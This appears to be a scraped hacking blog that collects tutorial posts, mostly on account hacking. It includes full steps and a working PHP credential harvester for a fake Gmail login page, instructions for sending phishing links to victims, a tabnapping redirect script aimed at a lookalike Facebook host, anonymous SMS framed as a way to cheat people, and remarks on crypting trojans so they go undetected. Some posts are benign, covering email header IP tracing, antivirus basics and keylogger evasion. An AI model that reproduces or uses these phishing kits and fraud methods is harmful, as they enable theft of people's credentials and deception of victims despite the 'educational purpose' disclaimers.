How to setup your own phisher/fake login page?[noobs friendly]

i found many of people who wants to make der own phisher ,so i m writing this small tut. on phishing setup of any webpage .although i have posted so many phishing posts but the phisher is already made by me for ur ease .


                                                 

lets move on to tutorial,

1. First open the website in a browser for which you want to create a phishing page . Now right click  in an empty space and select view source , copy all the contents to a note pad and save it as something.html 

example :

              gmail.html

2. Now open gmail.html (something.html) in a notepad .Now search[press:ctrl+f] for the string 
"action = https.." and change the address to login.php and save it

3. Now we have to create login.php .For this open notepad , copy/paste the following code in it and save it as login.php

<?php
header ('Location: http://gmail.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Note :- By default the victim will be redirected to gmail.com once he clicks login ,If you want you can change the address you can do it  by changing the http://.gmail.com to any  address you desire

4. Now we have to create a empty log file for this Open a notepad and save the empty file as log.txt. 

5. Now create an account in Free web hosting sites, which supports php like , my3gb.com,T35.com or 000webhost.com 

6. Now upload all the three files which we created gmail.html , login.php ,log.txt  and change the file permissions for log.txt to 777 

7. Now send the gmail.html link to the victim , once  he enters the information and logins in , every thing will be stored in log.txt  ,you can open log.txt to see all the login details 

Actually this is a very basic tutorial for only those who r at very initial stage of account hacking.
this tutorial is only for educational purpose.

[Read More...]

How to bypass a keylogger, by fooling it.?

 Hey guyzz today i m writing a small post on bypassing a keylogger , i found many of my friends asking me that , how to bypass a keylooger?  if installed in any computer which we are unkown as now a days evry body uses keyloggers , hidden trojans/servers, to spy on each nd evry activity on us . so, with this trick u can confuse a key logger to read the correct keystrokes.
                                         
lets move on to the main part.

1. Whenever u type a password on a webpage  to access ur account first of all never write the full password.
say for example i m taking a password DEVENDRA.  
first thing u should type is ENDR. now second thing keep ur hands off from the keybord nd just put your cursor back to the starting of password only with mouse nd type DEV, now aagain do d same thing nd take your cursor to d last place nd type A . now u can see d password is correctly entered in the block ie "DEVENDRA" but the keylogger will read the keystrokes as ENDRDEVA.  lolzz
using such type of method we can confuse /fool the keylogger nd the one who sypies on you.




2.Additionally ,you can also use spaces with you passwords as spaces are not readable. Use 2-3 spaces after or in the end (as prefix) for all your passwords. Gmail, yahoo , Facebook & so many other services supports spaces in password field.


so, just use certain methods like this nd m sure u will easily bypass keyloggers .


thanxx for reading the article , have a nyc day..:).!!!

[Read More...]

how our antivirus works /how it detects the threats? [by: devendra]

                           [EVERY COMPUTER GEEK SHOULD KNOW THIS][MUST READ]

This is a must read doc every one  should read this to increace your hacking knowledge this is created by me.

So guyzz..evry body uses antivirus but did you ever try to know that, how it works ? how it functions? what is the coding used by antiviruses to decode the threats? why you should regularly update your database? so, dont worry ,herre i will be giving you theanswers of all the above ques.:D..!!!

 Working of anti-virus involves two basic technologies namely:

1. Dictionary based continuous and fragmented string search

2. Suspicious activity detection (process manipulation)

now let us take the first article ie, 

1. Dictionary based continuous and fragmented string search

As the name is suggesting antiviruse is a dictionary of viruses & threat 's malicous coding which is present in its database and thru this database it compares the original malicious codes which is present i the file to the code present in its database and when the codes matches it gives the threat warning as a detection wether it is a trojan,malware,backdoor,rootkit,worms..etc

here m showing a example to you:

Now consider an hypothetical example for better understanding, suppose you have a file whose code is something like below:

ABCDEFGHIJKLMNOPQRSTUVWXYZ

Now when a virus infects a file what it does it manipulates the original file and adds some extra code or functionality to it so that the behavior of file  changes that means that defers from its normal functioning. So after virus infection file becomes something like this:

ABCDEFGHIJKLMNOPQRSTUVWXYZ012345 [now this, 012345 is the string that virus has attached to the file after infection]

Now what does anti-virus database contains is that 012345 string . It matches the string in database with string in program or code and if it matches it identifies it as a virus.

Note: This all processing is done on binary format of codes and sometimes executable. 

This coding can be manupulated by using crypters and through the crypter this malicious coding can be easily hide by antivirus . so this phenomena is usd to crypt your trojan/stealer to make it FUD...:DThat's the main reason why anti-virus needs updates regularly. Anti-virus companiesdaily adds new detected strings to their database so that the user can remain secure. 

[ WHILE CONCLUDING THIS PART I WANT TO SAY  THAT ALMOST 70-90% TOOLS WE DOWNLOAD  ARE INFECTED BY HACKERS THEY CRYPT THE TOOL TO MAKE IT FUD ND CAN EASILY STEAL DATA FROM COMPUTERS. ]

now lets move on to second part of article ie.

2. Suspicious activity detection (process manipulation)

This method is slightly diffrent from the above  as it doesnot contain any comparision of codings ,rather it is done by the normal working &behaviour  of any program/software.

In this ,first an antivirus notices how the software or program runs in a normal way before any infection and saves the recorded data in its database.

now , whenever a program gets attacked or manupulated by infections or threats 

the antivrus notices that functions r not working same as it ws previously doing so..it will detect  the process as  warning or block that process. this is only the principle which is based on the detections of keygens,patches,cracks as viruses coz they modify the functioning of original software nd changes there normal behaviour illegaly .

The main drawback of this technique is that its quite annoying as sometimes it detects normal files as virus too but if you want to keep your PC safe then you need to do what your anti-virus suggests.

[NOTE: 80% KEYGENS AND CRACKS WHICH ARE FOUND ON INTERNET ARE MANUALLY INFECTED BY THE HACKERS THEY BIND THAT FILE WITH THER TROJANS,BACKDOORS,STEALERS  AND CRYPT THEM BACKDOOR IS PROGRAM WHICH WILL OPEN YOUR ALL NETWORK GATES TO A HACKER...SOO BE CARE FULL WHILE DOWNLOADING SUCH FILE..:D:D:D...;-)  DONT BE AFRAID  I HAVE A SOLUTION WHEN U DOWNLOAD ANY CRACK IF U DONT HAVE ANY GOOD ANTIVRUS 

THAN GOTO   www.virustotal.com    ONLINE VIRUS SCANNING WEBSITE IT WILL SOLVE YOUR PROBLEM]

SO ,UPDATE YOUR ANTIVIRUS DATABASE RAGULARY. IF U USE OUTDATED ANTIVIRUSES IT IS OF NO USE.!!!

thanxxx for reading this nd do comment if you liked it...have a nice day :). 

[Read More...]

Facebook Unfriend Finder:Now track all your friending activities on facebook with this awesome app[find the one who unfriends u]..!!

(successfully working with secured HTTPS)

This app works perfectly in chrome ,safari,mozilla tested by me.
We have lot of buddies in our facebook friends’ list, some we know very well, some who are acquaintance but there are occasions when someone removes us from their friends’ list. Facebook don’t have any provision of displaying any notification or any other mean, to let us know when someone removes us or unfriends us from their friend list.

In case you are wondering what Unfriends mean, these are the people who either have removed us from their friend list or have deactivated their account on Facebook. While Facebook never show you who all unfriended you, this is still possible with the use some third party apps like this one called Unfriend Finder.

                              

Unfriend Finder is a script that works real time to let you know who all have removed you from their friend list. This script compares your buddies with the database maintained and refreshed over the time, so as to find any discrepancy and report it to you. Unfriend Finder will tell you which friends have removed you, who have deactivated their accounts, people you have requested friendship with and who has declined your friend request.

The app let you know the event, by showing a red symbol in the menu bar along with the standard Facebook notification. To be able to use this, you need to install the “Greasemonkey” (only in case of Firefox users, other browser users bypass this step) andinstall the script.

Install Greasemonkey
Install Unfriend Finder


NOTE: Note:you have to install the extension success fully then restart your browser & you r done.

[Read More...]

Get the IP address of an email sender and trace its location from the Headers[gmail,yahoo,hotmail,AOL]

As, i have discussed previously how to get any ones ip from chat/Im..etc today m gonna tell u how to get some ones ip from gmail,yahoo,hotmail,,outlook,AOL.
When you receive an email, you receive more than just the message. The email comes with headers that carry important information that can tell where the email was sent from and possibly who sent it. For that, you would need to find the IP address of the sender. The tutorial below can help you find the IP address of the sender.

Also, note that if you receive an email sent from a Gmail account through the web browser, you may not be able to find the real IP address because Google hides the real IP address of the sender. However, if someone sends you a mail from his/her Gmail account using a client like Thunderbird, Outlook or Apple Mail, you can find the originating IP address.

Lets begin this. First of all, the IP address is generally found in the headers enclosed beween square brackets, for instance[123.56.78.9]

Finding IP address in Gmail

1. Log into your Gmail account with your username and password.
2. Open the mail.
3. To display the email headers,
   
   • Click on the inverted triangle beside Reply. Select Show Orginal.
4. Look for Received: from followed by the IP address between square brackets [ ].

   Received: from mx-out.facebook.com (outmail017.snc4.facebook.com [66.220.144.149]

5. If you find more than one Received: from patterns, select the last one.
6. Track the IP address of the sender

Finding IP address in Yahoo! Mail

1. Log into your Yahoo! mail with your username and password.
2. Click on Inbox or whichever folder you have stored your mail.
3. Click on the Subject of the email you want to track and right-click.
   
4. Look for Received: from followed by the IP address between square brackets [ ].
   That should most likely be the IP address of the sender.
   If there are many instances of Received: from with the IP address, select the IP address in thelast pattern. If there are no instances of Received: from with the IP address, select the first IP address in X-Originating-IP.
5. Track the IP address of the sender

Finding IP address in Hotmail

Hotmail has been integrated with Windows Live, or vice-versa. And the format has changed. Here is how you find the IP address of the sender.

1. Log into your Hotmail/Windows Live account with your username and password.
2. Click on the Inbox link on the left.
3. Under the column that says "Sort by", find the email that you want to track and right-click on it. You should get a menu that has something like Mark as read, Mark as unread, and so on. The last option in the menu should be View message source. Select it.
   
4. You should see the email headers now
5. If you find a header with X-Originating-IP: followed by an IP address, that is the sender's IP address
6. If that doesn't work, look for Received: from followed by IP address within square brackets[].
7. * If you have multiple Received: from headers, eliminate the ones that have proxy.anyknownserver.com.
8. Track the IP address of the sender

Finding IP address in AOL

1. Log into your AOL Mail AIM account with your username and password.
2. Open the email that you want to track.
3. On the top row, click on Action and in the drop-down menu, select View Message Source
   
4. It opens a new page with the headers. Once you have the headers, look for the IP address that follows X-AOL-IP:. That should be the IP address of the sender.
5. Track that IP address of the sender

NOTE: if the mail sender uses proxy or hides its original ip then u wont find this helpful as the ip adress will be fake nd the location will also be fake.

thanxx for reading the article comment if got any problem..:D..!!

[Read More...]

Gmail phishing:Hack gmail accounts ...download gmail phisher..[tut]

Hey!! guyz as u know in my previous phishing post i posted how to hack facebook account thru smart facebook phishing easily today i m sharing gmail phishing with you . 
Their are many Gmail Phisheravailable on net but I must say they all are outdated and most of them are detected, So I though to create a new Gmail Phisher which is very new and also created by me.

     

Now just follow these simple steps given below:

1. Download Gmail Phisher (New And Updated Gmail Phishing Page)
2. This is compressed in .rar so first extract the folder to desktop
3. Upload all three files to my3gb.com and thus you will see something like this

4.Now shorten (name.my3gb.com/index.html) in goo.gl every time for new victim . 
5. Now, you have to send this link to victim and make him login to our fake phishing page.
6. Once you came to know that victim logined to our Gmail Phishing Page then check log.txt
7. In log.txt you will his username and password .
The above method is just for educational purpose so,if got any harm .we r nt responsible. :D njoy 

[Read More...]

Send Anonymous messages on a mobile no.....Trick only for indian users..!!!

Well, i was surfing net. i found  a website which sends anonymous text message free of cost.
 - No Registration or Login required.
 - Send Unlimited 160 Characters Sms.
 - Check Message Delivery Report in Real Time.
 - it  Don't Include Any Ads Along With Your Sms.
 - Very High Speed Message Delivery System.

Anonymous SMS is the type of sms which we or other sends to the mobile with any random number, or you can say any fake mobile number or may be the tag of website, so the victim cannot know your identity. Its mainly used for this below purposes

• To cheat Business men or normal person
• To make money from fraud
• For just Fun purposes

Send Free Anonymous SMS : How To ??

• Visit Free Anonymous SMS website: Smsti
• Type victim's mobile number and then message
• After click on Send
• Then a small Security.
• Finally Click on 'Agree to Terms'
  thnxx fr visiting my blogg.....

[Read More...]

RESET WINDOWS 7 PASSWORD WHEN YOU ARE LOGGED IN AS ADMINISTRATOR

For this you need to be logged in to computer from any user account (means you are either member of Administrators or Users Group).

Now, follow the step by step instruction: -

  1. Go to RUN(Press window key + R) and type control userpasswords2

  2.Select the user you want to change the password.

  3. Click on Reset Password Tab (reset tab will only be available if the particular account have password)    And Reset the Password.

     YOU ARE  DONE :D.!!!

NOTE: - Above trick will not work if you are a user of Guests Group.

[Read More...]

TAB NAPPING :: ADVANCED METHOD OF PHISHING WITH HELP OF A REDIRECTING JAVASCRIPT[TUT]

INTODUCTION:

Tab napping is new type of phishing scam that does not require you to click on any url to redirect you to the phishing site instead it relies on the fact that a lot of people used tabbed browsing(Opening multiple tabs while browsing).In tab napping one of your inactive tab is automatically replaced by with a new tab without your knowledge. Tab Napping is a type of phishing with smarter way to confuse the victim.For example Victim was viewing page A in a tab of a browser and then left this idle and now using some other website in another tab of browser. After some time the page A will automatically change to the phishing page. This is your phishing page. Idea is to confuse the victim in multiple tabs of browser.

now lets move on to the tutorial :

1. first we need a simple phishing setup that we have discussed before u can get ur phisher from here.click here

2. u will need ur hosting/blog/aur any webpage in which u can put the java script to sent its link to victim.

3. get ur java script frm here.

4.now u replace the link with your phishing page link in the java script from this line which comes in two places in the script

  timerRedirect = setInterval("location.href='http://facb00kloagin.my3gb.com/index.html'",10000); //set timed redirect

 5. after replacing it   Now, Select all & Copy Tab Napping script and you need to paste this code at the end of the real page html code(means above </html> ).

6.this script will not make any change on ur web page or blog page. 

• This script will track the user actions and as soon as the blog will kept ideal ,
• That script will redirect the victim to the phishing page your derived.
• Now send this blog address to your victim or u can upload ur malicous webpage on a web hosting & then send the link to victim.

 7. now for more betterment u can shorten ur url  so that victim wont be able to know ur intentions get any url shortner from here

HERE IS A DEMO OF TABNAPPING PAGE:

  # Just Go  HERE and wait keep yourself idle for 10 sec. U will be redirected to my phishing page.

Note: This is illegal and is for educational purpose only. Any loss/damage happening will not be in any way our responsibility.

[Read More...]